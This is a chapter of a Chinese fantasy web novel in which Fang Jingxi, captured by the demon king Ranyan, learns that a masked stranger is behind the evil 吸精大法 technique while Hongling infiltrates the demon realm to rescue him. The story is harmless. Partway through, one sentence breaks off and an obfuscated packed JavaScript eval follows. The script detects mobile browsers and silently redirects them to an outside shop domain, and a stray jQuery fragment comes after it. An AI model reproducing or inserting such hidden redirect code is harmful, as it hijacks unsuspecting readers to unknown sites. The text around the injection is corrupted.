“没救了!”
这是雨神对于方敬曦喜欢红菱的评价。
竟然能喜欢上红菱,真是无药可救!
“红菱喜欢你吗?”冉烟道。
方敬曦沉默。
“她还不知道你的心思吧!”
他依旧沉默。
“看样子,你也只是一厢情愿。”
冉烟重新回到椅子上,脑子里却突然闪过和红菱交手时,她几次三番替方敬曦挡住自己攻击的画面,于是淡声道:
“也不一定。”
身体反应最是骗不了人。
方敬曦还是低头沉默。
“什么不一定,那是完全不可能!”雨神反驳道,“红菱绝不可能喜欢上一个人!”
虽然雨神和红菱接触并不频繁,也并不了解她,但从这么多年红菱的行为来看,她能十分笃定,红菱心中绝无情爱,根本不可能动情。
“她在天庭这十年,一直都潜心修炼,一心飞升,之前不出任务也是这个原因。”
“如今她修炼处在瓶颈,肯偶尔出任务只是对她破镜有益,或者纯粹无聊。”
雨神道:“所以你还是换个人喜欢吧,你和她是不会有结果的。”
见方敬曦一直低头沉默没吭声儿,雨神意识到自己话说的太重太无情,可转念一想,这样可以早点遏制他的心思,是为他好。
方敬曦却突然抬头对冉烟道:“你为什么要说‘也’?”
雨神:?
冉烟:?
雨神:我说话你有没有在听啊,敢情说这么多,你一直在想她为什么要说‘也’!
冉烟反应过来他指的是‘你也只是一厢情愿’这句话,并没答他。
“是旭沉吗?”方敬曦继续问道。
雨神一下瞪大双眼,方敬曦话里的意思是在问冉烟是不是对旭沉一厢情愿!
冉烟...和旭沉?!
好像......
也不是不行。
冉烟盯着方敬曦的眼神立刻变得锐利。
“怪不得!”雨神惊声道,
“怪不得当年那么危险你也要擅闯天庭救旭沉,怪不得旭沉被贬下凡后你们同行过一段时间,怪不得沈静扬被妖界救走后却又和魔界有关系!”
一切都解释得通了!
妖魔两界虽然关系不好,但冉烟和旭沉两人私交一定不简单!
雨神一下全想明白了,她恍然大悟:
“因为你喜欢旭沉!”
雨神感叹地轻笑一声:“你还真是聪明啊方敬曦!”
话刚说完,两团紫色法力就分别打向方敬曦和雨神,冉烟冷漠地看着口吐鲜血的两人。
方敬曦忍着痛直视冉烟,认真道:“你为什么要救沈静扬?”
这个问题方敬曦一直没想明白,沈静扬和冉烟之前从未有过交集,为何冉烟要抢走他的尸体再让魔界复活?
唯一的解释,是沈静扬身上有冉烟想要的东西,而他身上唯一能让冉烟感兴趣的,只有一样东西。
“吸//精大法。”
方敬曦嘴角溢出鲜血,“是因为吸//精大法吗?”
他看似在问,语气却十分笃定。
冉烟:“......”
可沈静扬的吸//精大法是从妖界得来的,也就是说沈静扬的吸//精大法很可能是冉烟给的,可如果冉烟自己就有吸//精大法,她为什么还要复活沈静扬呢。
吸//精大法靠吸食//精气助长修为,能在短时间内迅速提升法力,修炼的时间越长,修为就越深厚。
这样强大的功法冉烟为什么不自己修炼,而要给沈静扬呢?这样有违天地常理法则的功法是不可能存在于世的。
除非,修炼者要付出巨大的代价。
此等邪恶之法从诞生之日起就注定该是禁术,可如今却在世间流传......
方敬曦深深地看了面无表情的冉烟一眼。
冉眼:“......”
他用力咽下口中鲜血,
“因为修炼此法,会受到强烈的反噬!”
“所以你把吸//精大法给沈静扬修炼是拿他做试验,你复活他让他继续修炼是为了弄清楚此法到底会带来怎样的反噬!”
“哈哈哈哈哈哈!”冉烟突然大笑,“方少侠,你果然很聪明!”
雨神听到方敬曦的话后惊讶得说不出话来。
冉烟歪着头,饶有兴趣地说:“继续。”
方敬曦说:“所以吸//精大法并非你独创,而是另有其人。”
他直接了当地问:“是谁?谁给你的吸//精大法?到底从何而来?”
这是一直以来,方敬曦想不通的地方。
当年的方家村与世隔绝,和天逍派相隔十万八千里,沈静扬怎么会那么精准地找到方家村。
这背后的原因只有一个——有人在给沈静扬吸//精大法的时候同时透露了方家村的位置。
并让沈静扬以方家村村民的性命做尝试,第一次使用吸//精大法。
那么只要知道是谁给了沈静扬吸//精大法,就能知道杀害方家村的真正凶手。
一开始,方敬曦以为这个人是冉烟,他也以为是冉烟创立出了吸//精大法。
但冉烟不可能把如此强大的功法给毫不相干的沈静扬,况且她甚至不知道修炼吸//精大法究竟会遭到怎样的反噬。
那么这个人就不可能是冉烟了。
但冉烟一定知道吸//精大法从何而来,也一定知道创立出此法的人究竟是谁。
所以只要找到创立出吸//精大法的人,就能找到隐藏在沈静扬和冉烟背后,真正屠杀方家村村民的人。
冉烟从椅子上站起来双手鼓起了掌,她一脸笑意,“这都能被你猜到。”
“什么?”雨神震惊,她根本没想到,吸//精大法竟然不是冉烟创造出来的。
谁还有这样的能耐能创造出如此邪恶的功法?她不敢想。
“方少侠,劝你一句,不要深究。”冉烟似笑非笑,
“我知道你想报仇,我也承认,方家村的位置确实是我把吸//精大法给沈静扬的时候告诉他的,其他的,你就不要再多问了。
“你要报仇,找沈静扬也好,找我也行。”
方敬曦语气坚定,“你们当然也跑不了,但背后之人我一定会揪出来,你们一个也别想逃!”
*
时云奄奄一息靠在颗树上,他不满地盯着前方擦剑的沈静扬,
“你还顶着那张脸做什么?那么晚才现身,是想我死吗?”
沈静扬将最后一丝血迹擦净,剑身“哐”地一声入鞘,他转身,钟意的脸瞬间变成中年道长的模样,
“怎么会,我绝不会让你死在他们手上。”
时云:......
他别过脸,稍稍压了下怒气。
沈静扬突然感到一阵剧烈头疼,一群不认识的人或开心或悲伤的画面席卷而来,心脏也如针刺般难受。
怎么会!怎么会来得这么快!
他抓着胸口,冷汗一阵阵冒。
时云察觉到沈静扬的不对劲,他问道:“你怎么了?”
沈静扬:“......”
“噗!”
见沈静扬吐出一口鲜血,时云有些诧异,“你不是没受伤吗?”
鲜血一吐出,沈静扬就感到头不疼了,心脏的不适感也消失了。
他抬头,眼神发亮地看着时云,嘴角阴笑。
时云忽地感到背脊发凉,明明沈静扬并没做什么,但却给他一种极度危险与不安的感觉。
他盯着沈静扬一步步朝自己走来,“这不是受伤,”
语气里透着兴奋,“这是反噬!”
“你说什么?”时云一下从死气沉沉的状态中惊出,他瞪大双眼,满脸不可置信,“你不是说吸//精大法没有反噬吗?”
沈静扬笑道:“不这样说,怎么能钓到你这样一条大肥鱼呢!”
绕这么大一圈,做这么多,都是为了这一刻。
他用计使冉烟追杀时云,就是想趁时云身受重伤毫无反抗之力时收割他。
从头到尾,他的目的只有这一个。
他原本想,先借时云杀了红菱他们几个,然后再挑起冉烟和时云动手,待到两败俱伤时,他这个渔翁就可以出场了。
然而时云这个废物,竟然连红菱他们都杀不了,害他空欢喜一场,看来只能靠他自己了。
不过没关系,本来他的最终目的就是时云,红菱几人的命,时云能杀最好,那是锦上添花,杀不了,也有时云自己这条鱼兜底。
这个计划,怎么看,他都不亏。
而且红菱几人的命,还是他自己亲手取更痛快。
沈静扬逐渐逼近时云,时云却重伤动弹不得,他只能一遍遍越来越急切地大喊:“你要干什么?沈静扬!”
只见沈静扬双手法力大涨,光芒立刻将时云包裹。
刚才他说绝不会让时云死在别人手上,是因为,时云必须死在他手里!
沈静扬看着此刻的时云犹如一个婴孩般脆弱,他声音低沉却轻快道:
“后会无期——时云。”
红菱站在妖界结界前,沉默地望着结界。
她掏出妖戒,戴在左手食指上,同时红光一闪,整个人改变样貌,换了一身妖精的打扮,然后一脚踏入结界。
刚从万妖楼出来的袁稠满是一肚子气,他不明白,大王为什么要把他赶出来,之前出去追杀时云也不带他,却要带剑潇,还对外称只是办事。
那条蛇有什么好,他想不明白。
这样下去,那条蛇就真的要高升了,到时候骑到他头上,妖界只知护法剑潇,哪里还认得他袁稠!
他一边想着这些杂事,一边往前,路过的精怪们一见他都忙叫他一声袁护法好。
红菱远远儿就看见袁稠一脸怨气地朝这边过来了。
妹姝告诉她妖界除了剑潇外,还有一名叫袁稠的护法,是只狐妖,想来便是这人了。
妹姝说被妖界抓走的人都会被关进星移山,但山上有众多妖兵把守,不好进入。
眼下的情况,形势并不明朗,不能硬闯,要想找到突破口,救下方敬曦,只能从这个袁稠身上下手了。
“方敬曦在哪?”
这是袁稠被人从身后捂住口鼻,束缚住手脚,带到偏僻草丛里听到的第一句话。
他打量着来人,这是一条红蛇,他在结界没见过,扫过她手上的妖戒,袁稠感到困惑。
此人胆大包天,竟敢光天化日之下在结界内对他动手,却还有妖戒。
袁稠眉头紧锁,半天不说话。
红菱面色沉着,猛地踹了他一脚。
袁稠立刻闷哼一声,才想起红菱刚才问他的话。
他猜测方敬曦或许就是刚才大殿上被抓的那个凡人,于是开口道:
“不知道你说的方敬曦是谁,但万妖楼大殿上捆了一男一女,男的是个凡人,女的是个神仙。”
末了又加了句,“刚抓的。”
听到方敬曦话或者,红菱暗中松了一口气。
她刚想把袁稠打晕,却听对方道:“你能杀了剑潇吗?”
“什么?”红菱没想到袁稠会对她说出这种话。
“你能替我杀了剑潇吗?我可以帮你救人。”袁稠期待地看着红菱。
红菱却不假思索道:“不必。”
说完,便一记手刀劈了下去。
处理好袁稠后,红菱变成了袁稠的模样,直奔星移山。
*
“冉烟,你到底还和什么人有勾结?”雨神大声质问。
这个人不会是旭沉,如果是旭沉,她没有必要让方敬曦不要深究,连半个字都不愿透露。
她到底在谋划什么,背后的人到底是谁。
一个能创立出吸//精大法的人,一个比冉烟还要神秘,甚至至今才知道有这样一个存在的人,这实在是一件令人细思极恐的事。
雨神越想越骇然,她紧张地盯着神情淡然的冉烟。
而后者只是悠闲地坐在椅子上,手指轻轻有节律地在扶手上敲着。
“这么想知道?”她挑眉,又看了方敬曦一眼,漫不经心道,“可没办法呀,因为,我也不知道。”
方敬曦不可置信地睁大眼睛望着冉烟,“你说什么?”
雨神道:“什么叫你也不知道?这样骗我们还不如不说。”
冉烟见两人着急的样子被逗笑了,“我确实没必要骗你们。我对此人所知并不比你们多多少。”
“他并不以真面目示人,穿一身黑袍,脸戴面具。”
方敬曦瞬间心中震动,难道......
她继续说道:“当年在我和旭沉登顶成为妖魔界之主的前夕,他先后来找过我们。”
这个黑衣人先找到旭沉,什么也不要,只说可以帮助旭沉统一魔界成为魔尊。
旭沉自然不信,于是拒绝了。后来又以同样的理由找到冉烟,她还没开口,旭沉就替她拒绝了。
但黑衣人并不恼,他分别用两个锦囊装了两套功法,送给了旭沉。这两套功法是相辅相成的,若配合修炼,功法必定大涨。
但旭沉认为世间绝不会有这样简单的事,于是将两个锦囊一直放在魔界没管。
等到两人分别统一妖魔界前夕,冉烟和旭沉大吵一架。
之后,时云找到冉烟合作杀掉老妖王,她虽担心那两套功法有诈,但为了以防万一,她还是将锦囊偷了。
后来的事实证明,这是个正确的决定。
她将老妖王杀掉后受了伤,时云却故意保存了实力,想趁机坐收渔翁之利。
还好她事先准备,当即催动其中一个锦囊里的功法,瞬间她的法力大涨,成功将时云重创,登上妖王宝座。
“你也会吸//精大法?”雨神惊道。
“不会,”冉烟轻揉太阳穴,“我当时用的和沈静扬的吸//精大法不同,两个锦囊里的功法并不相同,一个装的是吸//精大法,而另一个,是心法。”
冉烟当时打败时云用的就是心法。
“你没遭到反噬?”方敬曦疑惑。
“我只有打败时云那次用过一回,为何会被反噬?”
听到冉烟的回答,方敬曦感到很意外。
他原本以为,冉烟初次尝试了那套心法后便会继续修炼下去。
没想到她只是利用心法来打败时云,成为妖王,事成之后却能果断放弃修炼心法。
两套功法诱惑之大,冉烟却能说断就断,如此果敢,如此强大的执行力......
她到底在谋划什么,以至如此小心谨慎。
即使放弃功法,也不愿赌自己的未来,她不要那些不确定。
她要的是一步一步,清晰的未来,所以,她宁愿慢一点,也不愿赌,不愿赌自己或许能解除反噬,不付出任何代价,也能快速修为暴涨。
如果她当时没有放弃修炼心法,她的修为会快速增长,转头就能找书衍报仇,根本用不着等这么多年,可她并没有这样选择。
“那你也是靠邪功才当上妖王的,又不是堂堂正正靠自己,有什么好说的?”雨神鄙夷道。
冉烟轻蔑一笑,“蠢货。”
“你说什么?”雨神怒道。
“我说你蠢,”冉烟道,“于我而言,只要能打败时云,只要能坐上这个位置,就够了,这才是我的目的。”
“什么妖功邪法,什么堂堂正正,只要能达到我的目的,管他是什么,重要吗?”
这种为达目的,不择手段,懂得利用能利用的一切,抓住一切的人……
雨神没想到冉烟是这样的想法,她一下没了话。
“这就是你所知道的黑衣人的全部了吗?”方敬曦问。
冉烟没说话,算是默认。
黑衣人后面再没露面,虽然他偶尔会告诉她一些消息,但这确实是冉烟知道的关于这个人的全部了。
她也曾试图找出他的身份,但却总是失败。
最重要的一点,这个人,太强!
比她和旭沉加起来都强,但强到何种地步她并不清楚,这样的处境对她和旭沉都不利,但他们对此却毫无办法。
“所以方少侠,我劝你还是不要深究了。”冉烟笑道,
“与其深究黑衣人,不如担心担心自己的安危。比如,我要怎么处置你们两个。”
“你想怎么样?”雨神立刻质问。
冉烟轻哼一声,“急什么,救你们的人还没来呢。”
她像是突然想起来什么一样,“哦不,来是来了,但却被挡在结界外,进不来,哈哈哈哈......”
冉烟一阵嘲笑声。
方敬曦和雨神一下瞳孔震惊地看向冉烟。
“算了,看在他这么执着的份上,就让他进来吧。”
冉烟手随意一挥,一束紫色法力窜出,很快又消失在了虚空中,接着她故作可惜地说:
“就是不知道,他能不能活着走到大殿上来。”
“是不是云神,你想干什么,冉烟!”雨神焦急道,“他要是有什么事,我一定将你碎尸万段!”
方敬曦没说话,一脸忧色地不知在想什么。
冉烟看了他一眼,点头笑道:“哦?我记着。”
“不过,不是他。”
此话一出,方敬曦和雨神再次震惊。
方敬曦担忧的神色渐深,心中所想溢于言表。
看到他脸上出现预料中的表情,冉烟笑得更满意了。
“你说什么?”雨神问道。
方敬曦紧紧盯着冉烟脸上一副捉弄人的表情,不知她的话是真是假。
“我说,来救你们的人另有其人。”她一脸得意,“怎么?你失望了?”
雨神没想到冉烟会这样说,立刻反驳:“才不是!”
“那是什么,你很高兴他来救你?可他会死,你还高兴吗?”冉烟嘴角快翘到鼻尖了。
“你在胡说八道些什么?”雨神被冉烟气到大吼。
“哈哈哈哈!”冉烟觉得气人很好玩,她面对雨神,眼神却瞟向方敬曦,不知在对谁说话,
“所以,她若不来,你会失望,她若来了,又会死。”
“那,你到底是希望她来,还是不来呢?”
方敬曦看着冉烟挑衅地对着自己笑,背后的手紧紧握成了拳。
红菱......
“好了,接下来,我们来玩一个游戏吧。”冉烟漫不经心地走下来,
“如果你们凑成一对,到时候来救你们的人变成来参加你们的喜宴,会如何?她脸上会是什么表情?”
方敬曦立马厉声道:“冉烟!你不要太过分!”
雨神当即骂道:“无耻!”
冉烟恍若未闻,“带下去。”
剑潇立刻出现将方敬曦和雨神押着带离了大殿。
一直到了偏殿,雨神嘴里从未停过辱骂冉烟。
剑潇面色平静地道:“你的面纱要换吗?”
雨神突然没了声儿,防备地盯着剑潇,“你想干什么?”
剑潇思索着说:“若是只换嫁衣却不换面纱,应该不太好看。”
“你敢——”雨神刚开口,却被剑甫的声音打断,
“兄长!”
剑甫拿着个鸡腿,一脸笑,“你在干什么,我们该吃饭了。”
剑潇转身温和道:“你先去吃吧,我先把这里处理完再说。”
方敬曦观察着剑潇和剑甫,这两兄弟感情很好,但这个剑甫.......
“是面纱吗?我刚才听到你说话了。兄长不必担心,取了便是。”
说完剑甫就抬手去揭雨神的面纱,雨神立刻大叫:“滚!不准碰我,滚!不准揭我的面纱,我要杀了你!”
方敬曦见状,也开口想要阻止,但话还没说出口,就听剑甫意外道:“取不下来,有法术固定。”
剑潇闻言,看了雨神一眼,“你就这么不愿别人看到你的脸?”
雨神恶狠狠地盯着剑潇和剑甫,并未说话。
突然,剑潇手上法力运转就要强行去掀开雨神的面纱。
雨神眼见剑潇的手越来越近,自己的面纱就要被掀开,她一下被惊吓得心脏狂跳,说不出话来,不知该怎么办。
“且慢!”
剑潇的手一下顿住,他转头望向声音的方向。
方敬曦似笑非笑开口道:“神仙都有一两个这样那样让人不能理解的怪毛病,本就麻烦,你又何必。”
“再说,新娘子的脸都被你看了,那我还成什么亲?”
“谁要跟你成亲,你这个凡人!”雨神怒道。
“闭嘴!”方敬曦厉色道。
雨神不可置信地看向方敬曦,他仿佛变了个人一样,脸色阴沉,透着深深的不耐烦。
剑潇轻笑一声,“这样的新娘子,以后有你受的。也罢,面纱而已,又不重要。”
说完原本打算掀开面纱的手转而施法,指尖一弹,雨神紫色的面纱瞬间就变成了红色。
“走,阿甫,该吃饭了。”剑潇揽过剑甫的肩膀,像带小孩子一样,边走边说,
“以后你找媳妇儿要找个毛病少又温柔的。”
“我不要媳妇儿,我就和兄长过一辈子。”
他们越走越远,声音也越来越小,
“等你长大了就不定会这么想了。”
......
见剑潇剑甫两兄弟彻底离开后,方敬曦才卸下伪装,他转头看着雨神,语气里满是歉意,
“刚才实属无奈之举,言语间多有得罪,实在抱歉,还望雨神见谅。”
雨神却并没回应方敬曦。
他以为是雨神还在生气,于是又道:“雨神若心中仍是气恼在下,待出去后,怎么惩罚在下都行,在下绝对打不还口,骂不还——”
方敬曦正说着,却瞧见雨神仍是不理睬他,她别过脸,看不清脸上是什么表情,只是肩颈轻轻抖动着。
意识到什么后,方敬曦不说话了。这种时候,大多应是不想听人讲话的,只会让人更烦。
于是方敬曦也别过脸,让偏殿内无人关注雨神。
身受重伤,无人来救,同伴的处境也无从知晓,被冉烟侮辱,现在还要被迫和一个凡人成亲,种种情绪压着雨神,偏殿内开始出现了轻微的啜泣声。
方敬曦没有说话,只静静听着,脑中思绪却如潮水般涌来。
红菱,现下在做什么呢......在何处何地,身上的伤如何了,手上那道可怖的伤口,流了好多血......
你到底是希望她来,还是不来呢?
冉烟当时说的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862053|212045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忽然重新出现在了耳边,方敬曦想,这个问题其实很好解答。
若非要选,方敬曦希望红菱不要来。
诚然,若红菱真的没来,他想,或许会有异样的情绪吧,但不会是失望。
因为他没资格。
也许会难过,也许会落寞,但绝不会是失望。
人就是如此,明明深知是险境,不愿让在意之人因为自己深陷困境,可若真的如此,自己却又不乐意了。
但相比让红菱陷入危险中,方敬曦会坚定地选择不要来。
“我不会和你成亲的。”
雨神的声音打断了方敬曦的思绪,他转过头,发现雨神眼睛有些发红地盯着自己。
“我不会和你成亲的。”她倔强地又重复了一遍,
“你死了这条心吧,你个凡人。”
方敬曦无声浅笑道:“那你不用担心,我跟你一样。”
雨神不屑地白了他一眼,又把脸别了过去,不说话了。
脑子里却不知为何突然闪过刚才在大殿上的场景,于是又把头转了回来,盯着方敬曦,轻声脱口道:
“如果是红菱呢?”
方敬曦:“......”
轮到他不说话了。
雨神又忍不住白了他一眼。
真是没救了!
“至于吗你......”
“啪!”
方敬曦身上的绳子被他用法力一下挣断。
他迅速边给看得膛目结舌的雨神解释边解开她的绳子,“剑潇应该是想着我们要换新衣就把结实的绳子也换了。”
方敬曦看了看门边,确认无人后,小声对雨神道:“你还能运转法力吗?”
雨神试了下,无奈地摇了摇头。
“你受伤太严重了,”方敬曦道,“结界到处是妖,我虽然还能调转法力,但光靠我们两个,很难杀出去。”
他低头思考片刻道:“你去门边看着,我来布阵,送你出去。”
雨神一听立马道:“那你呢?”
“先别管我,你先出去。”
说完手上就准备起势,却被雨神阻止,
“不行,哪能我一个神仙逃走,留你一个凡人在这儿,要走一起走。”
方敬曦有些急道:“现在不是说这些的时候,时间紧急,布置两个人的传送阵花费的时间更久,他们随时可能会回来,到时候一个都走不了。”
“况且你又不能运转法力,我也受了伤,法力不够用,现下只能布置传送一个人的法阵。”
他立刻开始布阵,
“法力不够,传不远,只能把你送出结界,出去后万事小心。”
看着方敬曦有些着急地变换手势布阵,雨神突觉心中有些不是滋味,明明她才是神仙,按理,应该由她来保护凡人,可如今......
她不明白为何这个凡人要那么拼命救她,自己布的阵,出去的却不是自己,宁愿让出唯一的机会......
世上怎会有如此蠢笨之人,真是没救了!
她往门边走去,小心地望着风。
但很快,雨神就听见了一阵阵脚步声急切地朝偏殿这边而来,她立刻神情高度紧张,
“有人来了!”
方敬曦变换手势的速度越来越快,额前冷汗一滴又一滴地往下流,
“快好了。”
雨神听着脚步声越来越近,心都提到了嗓子眼,她不禁催道:“他们快到了,方敬曦!”
雨神目不转睛地盯着门口。
“对了,你能帮我给红菱带个话嘛?”
“什么?”
雨神以为自己听错了,这么情急的时候,他在意却是这个。
她回头困惑地望着方敬曦。
他发丝凌乱,烛光昏暗,却独独照亮了那光彩夺人的眉眼。
“出去后,如果能遇见红菱的话,请你帮我转告她......”
偏殿内安静得只能听到门外越来越近的脚步声。
雨神却没有等到预料中方敬曦的下文,“说啊!”
“算了,没什么。”
他继续结阵。
说什么呢?好像有许多想说的,却又好像什么也没有,什么也不值得说。
话到嘴边,竟全都消失了。
雨神:“......”
“好了。”
方敬曦突然声音响亮道,他朝大门方向走去,单手从背后拔剑,
“你可以过来了。”
雨神照做,迅速走到阵法中央,阵法已经开启,运转结束还需几瞬,她还需等上几息。
她还能看见剑潇带着一群妖怪进来时脸上震惊的表情。
“抓住他们!”
剑潇一声令下,妖怪们全部一哄而上。
方敬曦手握破枭将他们全部挡在门口,奋力给雨神争取时间,不让任何人打断阵法的运转。
雨神望着一剑又一剑捅穿妖怪身体的方敬曦,妖血流了满地,混着他自己的血,愣是没有一个妖怪能近她身。
突然她周身光芒大盛,身体开始逐渐消失,阵法运转快结束了。
雨神看着方敬曦的背影,突然问了他一个问题:
“为什么要救我?”
*
“哈哈哈哈,他是神仙?这明明就是个叫花子!”
“他要是神仙,那我就是玉帝老儿!”
“哈哈哈哈哈哈!”
一群妖怪围在一起,七嘴八舌地像在看什么稀罕物一样。
“芷玥......把芷玥交出来......”云神有气无力地道,他头发散乱,衣衫不整,裙角还不知被谁扯破了好几块。
他手中拿着拂尘防备其他妖怪的靠近,但在众妖怪的眼里,倒像个唱戏的丑角,嘲笑声不断,和平日里天庭中高高在上的神仙没有半分联系。
“让开让开!”一队整齐划一的妖兵冲了出来。
“快点,快点,剑潇大人说了,雨神肯定跑不远,给我出结界找,必须找到!”排头小兵命令道。
听到雨神二字,云神立马抬头,芷玥逃出去了?
"芷玥,芷玥......"他尝试跟随妖兵,却被周围的妖怪重重推倒在地。
“还想着你的雨神呢,哼,抓她回来就是和那个凡人成亲的,到时候你就只能看着咯!”
“哈哈哈哈哈哈......”
云神一听,震惊地抓着周围的妖怪问:“你说什么?什么成亲?”
“滚!”那妖怪一脚把他踢开,“脏了爷的新衣裳!”
云神嘴里一直喃喃道:“芷玥,芷玥......”
雨神被抓后,云神一路追到了结界处,却怎么也进不去,后来不知为何,一束紫色法力将他拉了进去。
他一进结界就到处寻找雨神的下落,却被一群妖怪围了起来,他本就受了重伤,加上体力不支,就一直被这群妖怪欺辱,完全没有还手之力。
“没想到吧,当了神仙的你也有今天!”
“我呸,狗屁神仙,给我打!”
这群妖怪对云神拳打脚踢,瞬间将他淹没。
有两个妖怪打累了,望着走远的妖兵道,
“又是剑潇大人的命令,他一天怎么那么忙。”
说完两人便忽然意识到了什么,然后异口同声问道:
“袁大人呢?”
刚才还从这儿过呢。
“袁大人,你来了!”红菱老远就听见小妖的声音了。
她来到星移山脚下,大步流星走向进山口。
看守的小妖一脸媚笑,“袁大人,慢走!”
红菱不发一言,脚步不停,径直上了山。
山上草木茂盛,道路众多又弯曲,红菱走了好久,明明看着是往万妖楼的方向去的,最后却越来越远。
不得已,她只能找个小妖带路。
“你,陪我去大殿一趟。”红菱对着一牛妖道。
“是。”那牛妖倒是爽快,也没问为什么。但他说完就一直站着,和红菱大眼瞪小眼。
......
她反应了会儿,不耐烦道:“愣着干什么,开路!”
“是”
有了牛妖带路,红菱明显感到离万妖楼越来越近了。
“大人!”
意识到是牛妖在喊自己,红菱敷衍回了声。
“大人,这次剑潇大人和大王一起出去办事,却没让大人陪同,小的都替大人感到不值。”
红菱眉头轻皱。
“大人平时在结界里处理大大小小各种事,没有功劳也有苦劳,大王却只带剑潇大人,分明是有意提拔剑潇大人。”
妖界也有权斗?
红菱没吭声儿,继续听牛妖道:
“可剑潇大人来结界比大人晚不说,他那弟弟剑甫大人脑子还有问题,不知道为何大王偏偏就那么器重那两兄弟,大人吃的苦可一点儿也不比他们少啊。”
竟还有这种事,但这牛妖嘴也太碎了,竟然敢在袁稠面前说这些。
“大人如此操劳,实在是太辛苦了。上次托大人的事......”那牛妖说到这里,声音一下小了下去。
绕了大半圈,原来是为了这个。
红菱望着不远处屹立着的万妖楼,脚下的路也分成了两条,一条直通万妖楼,而另一条拐去了山顶。
她目视前方,嘴里却是回答着牛妖的问题,“等着!”
那牛妖一下转过身,“大人,小的不想等了,小的已经等了快半年了,大人你就帮帮小的吧。”
牛妖不走了,他“扑通”一声跪了下来,死活求着红菱帮他。
红菱见反正离万妖楼不远了,自己过去也行,于是看也不看牛妖,抬脚就往直通万妖楼的那条路而去,
“明天帮你办。现在你可以走了,我自己去大殿。”
她越过牛妖大步向前,却听背后的牛妖突然道:
“你不是袁大人!”
红菱一下顿住,她转身看着牛妖,见他早已起身一脸警备地望着自己,
“这两条路是反的,通往大殿的路是看似朝山顶的那条,而你走的这条才是通向山顶的。”
“你是谁?”
*
“方敬曦当场抓获,雨神也已经去追了。”
剑潇站在大殿上给冉烟汇报着情况。
“知道了。”
冉烟闭着眼漫不经心道,片刻,她忽然想起来袁稠便问道,
“袁稠呢?”
“不知。”剑潇道。
......
“行,你先下去吧。”
“是。”
剑潇退下后,不知过了多久,殿内重新陷入一片死寂。
冉烟半躺在椅子上闭目养神。
“轰——”
突然,一阵剧烈声响起。
殿门被一股巨大的力量从外猛烈撞击,紧接着,两扇门带着猛烈声音被撞开。
两具被打回原型的浑身是血的妖怪尸体先被震飞进了大殿。
蜡烛被带进来的风熄灭,刺眼的光线从门口透进来。
冉烟微闭着眼朝门口看去。
一人从光影中走来,身形逐渐显现。
“袁稠”气势汹汹盯着冉烟,他踏进殿中的瞬间,光芒大盛,变成了一身红衣的少女。
“方敬曦在哪?”